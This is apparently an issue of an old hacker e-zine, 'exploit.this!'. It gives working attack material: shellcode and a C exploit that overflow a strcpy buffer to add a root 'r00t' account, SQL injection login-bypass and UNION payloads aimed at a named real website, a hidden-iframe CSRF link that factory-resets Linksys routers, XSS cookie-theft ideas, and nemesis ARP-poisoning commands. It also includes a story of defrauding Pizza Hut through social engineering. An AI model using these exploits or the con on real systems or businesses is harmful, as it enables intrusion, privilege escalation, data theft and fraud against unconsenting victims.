### ###### # # ##### # #### # ##### ##### # # # #### ### # # # # # # # # # # # # # # # ### ##### ## # # # # # # # # ###### # #### # # ## ##### # # # # # ### # # # # # # # # # # # # # # ### # # # # # # ### ###### # # # ###### #### # # ### # # # # #### ### [ A hacking and network security magazine ] written by CypherXero for cyphersecurity http://exploitmag.cypherxero.net cypherxero@leetbox:~$ Let's get this bitch started! cypherxero@leetbox:~$ ./exploit.this -[0x00] TABLE OF CONTENTS ------------------------------------------------------------------------------- [0x01] From the Editor [0x02] Buffer Overflow Attacks [0x03] SQL Injections for 0wning a Box [0x04] XSS/CSRF Injections [0x05] Social Engineering Pizza Hut [0x06] ARP Poisoning Attacks [0x07] Shoutz and Teh End -[0x01] FROM THE EDITOR --------------------------------------------------------------------------------- Welcome to the very first issue of exploit.this! magazine. A few months ago, I sat down and started coming up with ideas for a security team, and a magazine to go along with it. I love learning new technology and techniques, and I want to give back to the amazing community of hackers and computer enthusiasts by producing this magazine. I want to teach people the power of technology, and how it can be used to do things it wasn't inherently designed to allow you to do, either by taking files that don't belong to you, or using a service in a new way. This information is provided for you to use in whatever manner you see fit. What I'd like to see personally is to get people to think black hat, and act white hat. What I mean by that is I want you to hack your friend's wireless networks, and learn how you did what you did. When it comes time to secure a wireless network in the future, you'll remember back when you did it for fun, and you'll know how to keep others out, because you know how to get in. It's like a locksmith learning how to break locks to understand how to build a better lock. Information is power, and I certainly won't withhold information from people. It's how we get better as a community, and it's how we prevent making the same mistakes over and over. So enjoy this magazine, and I hope you can learn a few new tricks for your arsenal! -[0x02] BUFFER OVERFLOW ATTACKS --------------------------------------------------------------------------- Buffer Overflow attacks are still common in today's software, and unfortunately, they're becoming more prevalent. The reason for it's amazing prevalence in software today is due to functions in programs that don't check buffers, and the programmers who don't use the newer, safer functions, or don't implement their own buffer checks. In this paper, I will discuss what a buffer overflow looks like, how it works, and I will give you proof-of-concept code that you can compile yourself. A buffer overflow occurs when data is written past a buffer in an application. Say, for example, a program that takes user input, and has a buffer of 100 characters (or bytes). Anything less than 100 characters is accepted, and works within the parameters of the buffer. Once you put in 100 or more characters (bytes), the buffer overflows, causing a segmentation fault in the program, and exits. What ends up happening is the data that overflows the buffer is pushed onto another location in memory, causing a call to an invalid location in memory, and thus a crash of the application. There are many different stack registers in a CPU, that help the CPU better manage memory. The ESP (Extended Stack Pointer) is references the last element on the stack, and when items are pushed or popped off the stack, the ESP is called. The EBP (Extended Base Pointer) holds the address to the beginning of the stack. In this paper, we will be focusing our attack and exploit of the EIP register. The EIP (Extended Instruction Pointer) points to the current address in memory. Here is a small piece of C code that is vulnerable to stack overflow exploits: #include #include int main(int argc, char **argv) { char buffer[100]; strcpy(buffer, argv[1]); printf("%s\n", buffer); } Compile the C code using gcc (gcc vulnerable.c -o vulnerable), and enter a simple string to the program in the command line: root@box:~# ./vulnerable Hello Hello root@box:~# The program completed it's function, by copying the string entered into the buffer of 100 characters, printing the string back out, and exiting. Before continuing, type in the command to generate core dumps, we'll need them in a minute. ulimit -c unlimited What would happen if we entered more than 100 characters into the application? Let's find out. First, a word about this next step. Each person will encounter a different "magic number", because of the way the compiler works, the system you're using, and so on. So, an exact 100 or 101 characters probably won't work, due to added padding and buffers around the programmed buffer. But, it will be close to the buffer, so we need to fuzz the application to find the perfect number. Fuzzing is just generating junk data to determine how many characters is needed for the exploit. Lets get started. We're going to use perl to make things easier for us, rather than having to count each character. From the command line, enter: ./vulnerable `perl -e 'print "A"x100'` You should get something like this: root@box:~# ./vulnerable `perl -e 'print "A"x100'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA root@box:~# The perl command sent 100 A's to our vulnerable binary, and it spit all 100 characters back out, exiting normally. Which means 100 is NOT our magic number we need. Keep incrementing the number by 5 or so, until you get something like this: root@box:~# ./vulnerable `perl -e 'print "A"x128'` segmentation fault (core dumped) root@box:~# Alright, we got a segmentation fault! This is exactly what we're looking for. Keep doing this until you find the first number that does it for you (ie. if 124 works fine, but 125 goes to a seg fault, use 125). Once you get a core dump, let's analyze what happened to cause the core dump, using gdb: root@box:~# gdb -c core GNU gdb 2002-04-01-cvs Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux". Core was generated by `./vulnerable AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () gdb> What does this mean? See the 0x41414141 above? That's our EIP register. Our application crashed because it tried to access that location in memory, and it didn't exist, so it was forced to crash. Ah, but what is 41414141? Separate it into to numbers each, like such: 41 41 41 41. If you've ever studied hex, you'd know whats going on right away. The number 41 is the hex value for, yes, uppercase "A". Did you catch what we just did? We overflowed the buffer, and overwrote our character (A) over the EIP register. All we would have to go is overwrite the EIP register with a real location in memory, and we can have it execute that location in memory without issue at all. First, let's take our "magic number". For me, it was 128 bytes that it took to overwrite the EIP with 41414141. Since 41 equals "A" in hex, that's AAAA, or 4 bytes. Those 4 bytes will be know as the RET, which is updated after each operation, to know where in memory to move to next, after the current operation is complete. So, take your total size of the overflow buffer (in my case, again, it was 128) and subtract 4 bytes. So 128 minus 4 equals 124 bytes. We have 124 bytes of junk space available for us to use. Let's talk about shellcode. Shellcode Shellcode is basically the payload that we want to execute. Think about once we have a program exploited and under our control? Then what? Well, of course we would want to drop in some shellcode of our choosing, and run commands on the exploited target system. Since writing shellcode is beyond the scope of this paper, I will provide the shellcode used in the demonstrations. Our shellcode (borrowed from milw0rm.com), will add a new user called "r00t" to the system. This is useful for being able to connect to a machine with our own user name, with whatever permissions we set. Can't crack the root password? Well, exploit a buffer overflow, drop in and execute shellcode that adds a new user to the system, and log in via the new username. Here's the shellcode we'll be using today: char shellcode[] = "\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68" "\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66" "\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2" "\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68" "\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a" "\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80"; This shellcode is 69 bytes long. So, 128 - 4 - 69 equals 55 bytes. The final remaining bytes will be our NOP-sled. NOP, or No Operation codes, are codes that signify that that address in memory is to not be executed, and to keep moving down until executable code is found. This will let us "slide" into the shellcode and execute it. A typical NOP code is x90, and it's the one we'll be using for our exploit. NOP-slides help with relocating exploit code to other systems, which their RET address may differ slightly. This ensures that we can slide into our shellcode via the NOP-slide almost 100% of the time. Now we're going to find our RET code that we need, and then we'll be ready to exploit the application. First, we'll use perl to help us out again. So, the order is: [ NOP-sled ] [ shellcode ] [ RET ] root@box:~# ./vulnerable `perl -e 'print "\x90"x55,"\x6a\x05\x58\x31 \xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63 \x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2\x52\x68 \x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\x6a \x0c\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80","BBBB"'` As you can see from the above example, we're printing 55 bytes of NOP code (\x90), our shellcode (which accounts for 69 bytes), and finally, our RET address, which is 4 bytes. Since we don't know the RET address, let's just make it BBBB for right now (which B is 42 in hex, FYI). Once we execute this code, we'll get a seq fault again, with another core dump. Load up gdb with the core dump (gdb -c core). You should now see the EIP register is showing 0x42424242. Bingo! We're now executing our made-up RET address, BBBB. All we need is the location of our NOP-sled, and from there, we'll slide right on into our shellcode, and completely own this machine! Still in gdb, type in: gdb> x/1000xb $esp Scroll up until you find a bunch of lines that look like so: 0xbffffbc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffbc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffbd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffbd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffbe0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffbe8: 0x90 0x90 0x90 0x90 0x6a 0x05 0x58 0x31 See all the "0x90" codes? Those are our NOP codes, and that string of NOP codes is...you guessed it, our NOP-sled! Now, take a look at the codes when it changes, which starts with "0x6a". Look familiar? Yes, it's our shellcode, just like we wanted. Now, to pick our RET address. Find a line with all NOP codes (0x90), and look at the number set on the far left. Copy that down. I'll go with 0xbffffbc8. We need to convert the number from big-endian to little-endian for use. Remove the 0x, and write down the remaining data: bffffbc8 Now, separate those into two places, like such: bf ff fb c8 Now, to write it in the order we need, start with the last two places, and put them first, and work backwards until you're done. c8 fb ff bf Now, write that in hex escape characters, and it'll be ready for our use. \xc8\xfb\xff\xbf Repeat the same code as before, but replace "BBBB" with "\xc8\xfb\xff\xbf". Hit enter. Now, you're going to get a lot of garbage on the screen: that's OK. Now, type in: root@box:~# cat /etc/passwd You know what's there now? Yep, the sad truth is, this vulnerability just added a new user to the system. You should now see this at the bottom of your passwd file: r00t::0:0::: Of course, using perl on the command line is no way to launch a proper exploit. Here's a small piece of C code I wrote to use what we just learned, but this time in an easy to use and compile exploit code. #include #include /* Total Size: 128 Bytes */ int main() { printf("Buffer Overflow by ::[CypherXero]::\n"); char exploit[300] = "./vulnerable "; /* EIP Address */ /* 4 Byte Return Address */ char ret[] = "\xe8\xfb\xff\xbf"; /* Our NOP-slide, paving the way for shellcode execution */ /* 55 Bytes */ char nopslide[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; /* add user r00t to /etc/password */ /* shellcode from milw0rm.com */ /* 69 Bytes */ char shellcode[] = "\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68" "\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66" "\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2" "\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68" "\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a" "\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80"; /* Let's build the buffer overflow */ strcat(exploit, nopslide); /* 55 Bytes */ strcat(exploit, shellcode); /* 69 Bytes */ strcat(exploit, ret); /* 4 Bytes */ /* TOTAL: 128 Bytes */ printf("Exploiting ......\n"); execl(exploit, 0); printf("Exploitation Finished!\n"); return 0; } This should have given you a good, technical overview of what buffer overflows are, and how you can go about exploiting these flaws. This paper just focused on one vulnerable function, strcpy(). There are plenty of other vulnerable functions in C that are susceptible to buffer overflow attacks. For completion of this paper, use strncpy() instead, which features bounds checking, to make sure that the buffer never goes past a limit that you specify. And attempt to exploit the buffer using strncpy() will be stopped. Unfortunately, there are a lot of programs which use strcpy() with no bounds checking, and are vulnerable to this kind of attack. And an FYI, the MS Blaster worm of 2003 used a buffer overflow exploit in RPC DCOM. This information, like a hammer, can be misused for harm. I trust that you will choose to use the information you have just learned to make yourself a better security expert. -[0x03] SQL INJECTIONS FOR 0WNING A BOX ----------------------------------------------------------------- With the growing popularity of websites using the standard PHP/SQL interfaces, a new and dangerous type of attack is becoming more popular for hackers, and that is SQL Injection. SQL, or Standard Query Language, is a type of database specification for reading and writing information to a database. This is used to create dynamic webpages with structured content, and other data types. The problem is not actually a problem with the SQL database itself, but rather how it is accessed and used via the scripting language on the website. The standard scripting language on the web for interacting with SQL databases is PHP. The real issue lies with the PHP programmers not writing the SQL statements correctly, which can allow an attacker to inject their own commands directly to the SQL database. Here's a sample of PHP code that dynamically builds a SQL command to be processed: $sql = "SELECT * FROM users WHERE username='".$_GET['username']."' and password = '".md5($_GET['password'])."'"; The SQL command would look like this to the database: SELECT * FROM users WHERE username='cypherxero' and password = '5f4dcc3b5aa765d61d8327deb882cf99'; This would lookup my username (cypherxero), and then compare the password hash with the one in the database. If they're the same, then I'm authenticated, and logged in. The problem with this statement is that there is no sanitation on the user input, so if you entered your own SQL command, say for this login box, then you can bypass authentication! Consider this SQL Statement: ' OR 1=1-- Inserting this into the SQL command that already exists, we get this: SELECT * FROM users WHERE username='' OR 1=1--' and password = '5f4dcc3b5aa765d61d8327deb882cf99'; This statement would return TRUE (since 1 does equal 1), and the rest of the SQL statement after the double-dashes will be commented out, and the system will return the first username in the database, and log you into the system as the first user (most likely admin) without the need for a password! Other ways of using SQL injections is with HTTP GET statements that pass variables onto the database. Let's take a look at a real SQL Injection I found a few weeks ago, in a component on the Joomla CMS. I first discovered this flaw while doing some random web app sec testing on one of my friend's company's website. Let's take this URL from her site: http://www.klochko.com/index.php?option=com_philaform&&Itemid=34&form_id=5 As you can tell, we're passing the variables option, Itemid, and form_id to index.php, and the PHP script is passing those variables onto the SQL database. Let's see what happens when I insert a single tick mark at the end of the last variable: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'\\' ORDER BY ordering ASC\' at line 1 SQL=SELECT * from jos_philaform_detail WHERE form_id=5\\' ORDER BY ordering ASCNo elements defined Since we passed a variable that the database didn't know what to do with, it freaked out and returned an error message. Now, any sane person that's not a hardcore geek would just think something wrong happened, and try another website. Not me. I knew right then from seeing that message that I had a SQL Injection, and that I wanted to see what I could do. I searched google, milw0rm, packetstorm, and securityfocus, and couldn't find a sql injection for Phil-a-Form, which upon further research, was a piece of software for Joomla to add extra functionality. So, I figured either it was impossible to get an injection and had been done before without any luck, or that no one had found it yet. It turns out no one had found it yet, and now it was a race against the clock to find a proof-of-concept injection and submit it before someone else found it. There's a nice little SQL command called UNION that combines data from more than one table into one output, and that's what I was going to need. My goal was to get the administator password (in MD5 hash format) from the database. The SQL statement from the error messaged helped me understand what was going on with the query, and helped me write my injection. I knew that it was pulling data from the sql database for the forms that were on the page. I needed to combine that form table and data from another table onto one page. I did some research on Joomla, and found the list of the default SQL tables, and the format that they were in. I knew I needed to pull the password from the jos_users table, and that the password field was called password. Since UNION commands need to keep the columns the same for both tables, there were a lot more tables in the jos_philaform table than in the users table, so to keep the tables the same for the UNION command, I had to fill the injection string with enough nulls to make them the same. Since Phil-a-Form is pay-software, I didn't feel like putting my money down on software that I don't need, so it was just a matter of trial and error until I had the correct column size. The final SQL injection string looked looked like this: UNION SELECT null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM jos_users -- This statement, put on the end of the "form_id=5", pulled the password has from the database, and returned it to me on the page. The final result was the form on the page, but at the very bottom, a nice little error message, with, lo and behold, the MD5 hash of the first user in the table, the administrator. Fatal error: Cannot instantiate non-existent class: philaform_5f4dcc3b5aa765d61d8327deb882cf99 in /home/klochko/public_hhtml/components/com_philaform/philaform.class.php on line 437 There it was, what I was looking for, the password in MD5. All that was left was to crack it using rainbow tables, and then if I was malicous, to log into admin and deface the website, or do whatever I wanted at that point. My friend's website has since been upgraded to the newer version of Phil-a-Form, and no, that is not the real admin hash, I don't think they would make their password "password". ####################### NOW FOR A QUICK BREAK ########################### (12:07:54 PM) Dark Fusion: i feel a little drunk (12:07:58 PM) CypherXero: lol (12:08:05 PM) CypherXero: drunk on PWNAGE (12:08:10 PM) Dark Fusion: w0rd (12:08:15 PM) Dark Fusion: and the strong stogie (12:08:19 PM) CypherXero: yep (12:08:20 PM) Dark Fusion: but mostly pwnage (12:08:24 PM) CypherXero: heh (12:08:52 PM) Dark Fusion: first thing litehedded said to me on the irc room was " wtf is cx doin on pimp?" (12:08:57 PM) CypherXero: haha (12:09:12 PM) CypherXero: CX owns the internet (12:09:19 PM) Dark Fusion: told him for the pron (12:09:36 PM) CypherXero: Nightmare on leet street: "You are all my n00bs now!" (12:09:45 PM) Dark Fusion: oh NOES!!!!! (12:09:49 PM) CypherXero: lol ########################################################################### -[0x04] XSS/CSRF INJECTIONS ----------------------------------------------------------------------------- Cross-site Scripting (XSS) injections are popping up (no pun intended) everywhere, and are leading to a rise in phising scams, and other attacks on websites all over the web. With XSS, what happens is user input is put back on the page for dynamic content. To illustrate this, consider a search on a corporate website. When you type in your search, let's say it's the NBA.com (which has an XSS vulnerability, BTW), the page will contain your results, along with something like "229 Results found for Chicago Bulls". Change your search from "Chicago Bulls" to something even more leet, like "icanhascheezburger", and on the page you should now get something like "0 Results found for icanhascheezburger". If you look at what's going on, they're taking your search string, and returning it on the page. If this input is not sanitized, then you can inject your own code into the page, and have it executed on load. Here's a sample javascript that will pop up an alert box that says "XSS". Try inserting this value into the search box, or even better, after you make a standard search, look up in the URL and see if you can find the variable that is passing your search string to the server, and place the javascript in that variable, and hit return. If the website is not sanitizing your input, then the rouge javascript will be placed on the page dynamically, and executed, popping up a javascript alert box. Javascript DOM (Document Objection Model) has really powerful statements that you can insert and execute client-side. One statement, document.cookie will return the cookie for that website, so one evil thing you can do is to send someone a link with your malicous javascript, and have it send you their cookies from that website. The reason why XSS gets it's name is because if you can execute javascript on the page, you can also execute javascript from an external .js file on another site. This is where the term "Cross-Site" scripting comes from. With XSS, you can now inject javascript onto a REAL website. Here's an example that will demonstrate the power of XSS. Say, for example, a popular bank has a XSS flaw on their login page, you could inject javascript on the page to send you a person's username and password when they login, and it will actually log them into the system, with the end-user being nonthewiser about what just happened. CSRF, or Cross-site Request Forgery, is similar to XSS, but instead of injection code onto a page, you're using someone's access to a website (like their bank), to make a request on their behalf without them knowing it. One interesting thing you can do with CSRF is to reset Linksys routers with it. When you click to reset the router to factory default, you're sending a command to the router that it understands, and knows what to do with. If you keep your username and password to the default (admin/admin), I can construct an CSRF script that loads in the background in an iframe, invisible to the user. But what the script is actually doing to sending a request to their router, on their behalf, with the command to reset. For a linksys router on 192.168.1.1, with admin/admin, the full request would look this such: http://admin:admin@192.168.1.1/apply.cgi?submit_button=Factory_Defaults&change_action=& action=Restore&wait_time=19&FactoryDefaults=1 Send this link to someone, and have it load automatically in the background with an iframe, and within seconds their router will reset to factory default, because it thinks that they made the request, and that it's doing what it was programmed to do. -[0x05] SOCIAL ENGINEERING PIZZA HUT -------------------------------------------------------------------- We talk so much about hacking machines, but have you ever stopped to think about that hacking people could work with great results? Social Engineering is basically figuring how how to "hack people", by using conversation and skills to get what you want. So let's say you're hungry, and you don't have any cash on you. You really have to get some work done, but you can't work on an empty stomach, and you just saw one of those damn fucking ads on TV again for the 3rd time in an hour about the wonderful pizzas from Pizza Hut. Fuckers. So, let's just get a free pizza. It's that easy! First, a little reconnaissance. I found this out by pure accident, but what happened to me once was that I put an order in for a pizza (and I was going to pay like always), and almost 2 hours elapsed and the food wasn't at my house yet, so I called up the store again, and asked for the status of the order. The order wasn't in the system! WTF? So, they told me that if they don't answer the phone fast enough, that they automatically rerouted the calls to a call center somewhere in the US, and take orders that way. Then, they just pass the order back to the store and make/deliver the pizza. So, for some reason, they failed get my order I have placed like 2 hours ago. So, the pizza finally arrives and I pay full price. A couple of weeks later, I remembered what had happened, and I decided to social engineer Pizza Hut for a free pizza, and I was going to use the call center against them. I placed a call to the store, and made sure that I was talking to the local store, and not the call center. Once I was talking to my local store, I created a fake senario that I had been having issues with my order not getting through, and I think it was the call center again dropping my order. I said I had been waiting 2 hours, and that this was the second time this had happened. I said I had company over, and that they were getting hungry, and if they can please deliver my order! Since I had never called and placed an order, and it was apparently "lost" in the system (it's OK, blame the fucking computers for all of life's ills!), I gave them my order for the second time (in reality, it was the first time I gave them my order). I recited what I wanted without hesitation (because I was supposed to have placed this order already, remember?). I just outright asked for it to be delivered ASAP, and that I didn't want to pay. Yes, I really told them I wanted it for free. And you know what? They complied without hesitation. Fifty minutes later, and there's a hot, fresh pizza waiting at my door...for free. I didn't even tip the delivery guy, just because that would defeat the whole purpose of my social engineering. Now, this is pretty much a one-time only deal, because calling every week and doing this will raise suspicions. -[0x06] ARP POISONING ATTACKS ------------------------------------------------------------------- A typical scenario of ARP would be when Computer A sends data to Computer B, on an internal network. An ARP request is sent to every computer on the network, asking .Who has 192.168.2.4?.. Every computer will ignore this request unless it is the computer with the IP address of 192.168.2.4. In that case, Computer B will broadcast an ARP reply stating that 192.168.2.4 is on the MAC Address of 00:08:74:4C:7F:1D, which is the MAC address. ARP builds a table of IP addresses and their MAC addresses, so data can reach it.s intended destination. That.s all well and good, but how can we exploit this? By poisoning the ARP Cache table, and pretending we.re another computer. By using an application that can send raw data packets, we can use packet crafting (or packet injection) to crafting our OWN ARP requests and replies. In the situation of trying to capture packets on a switched network (man-in-the-middle attack), the basic routine is to tell the router WE are 192.168.2.4, and submit our OWN MAC address. We do the same to the victim computer, in which we tell it that WE are the router, and this is the router.s new MAC address. Now, with IP forwarding enabled on our machine used to launch the poisoning, we can now be literally in the middle of the router and the target.s conversation. From there, it.s simply a matter of launching a packet sniffer, such as tcpdump, to capture and save the packets. A tool that we can use to demonstrate how ARP Poisoning works is one called nemesis. nemesis writes raw TCP packets across the network, allowing us to send our own ARP packets. Open up the terminal, and type in these two commands: cypherxero@leetbox:~$ nemesis arp -S 192.168.2.1 -D 192.168.2.1 / -h 00:04:5a:41:92:05 -M 00-0D-9D-59-94-C6 cypherxero@leetbox:~$ nemesis arp -S 192.168.2.100 -D 192.168.2.100 -H 00:04:5a:41:92:05 / -h 00:04:5a:41:92:05 -M 00:0C:41:C1:71:95 The basic format is: nemesis arp -S [Gateway IP] -D [Gateway IP] -H [Your MAC] -h [Your MAC] -M [Target MAC] nemesis arp -S [Target IP] -D [Target IP] -H [Your MAC] -h [Your MAC] -M [Gateway MAC] -[0x07] SHOUTZ AND TEH END ----------------------------------------------------------------------------- First, let me give a shoutout to my leet friends on teh interweb, darkfusion, litehedded, and all my friends that have been with me for awhile. I fucking love hacking and security, and there's nothing like being rewarded for all your hard work by 0wning a machine at 3am. I live in a small town, and I hate this place, so in the next six months I'll be moving out to Seattle, Washington to make a name for myself in the tech/security industry. It's going to take a lot of hard work and motivation, but I think I can manage. If I can manage to write an entire fucking magazine from the *nix shell, I think I can do anything! w00t! Shoutz also go to str0ke from milw0rm, for running such a great site. The people I've met on milw0rm, and the amazing collection of knowledge pwns. Keep it up, guys. w0rd. exploit.this!, foo. p34ce...[CYPHERXERO] / www.cypherxero.net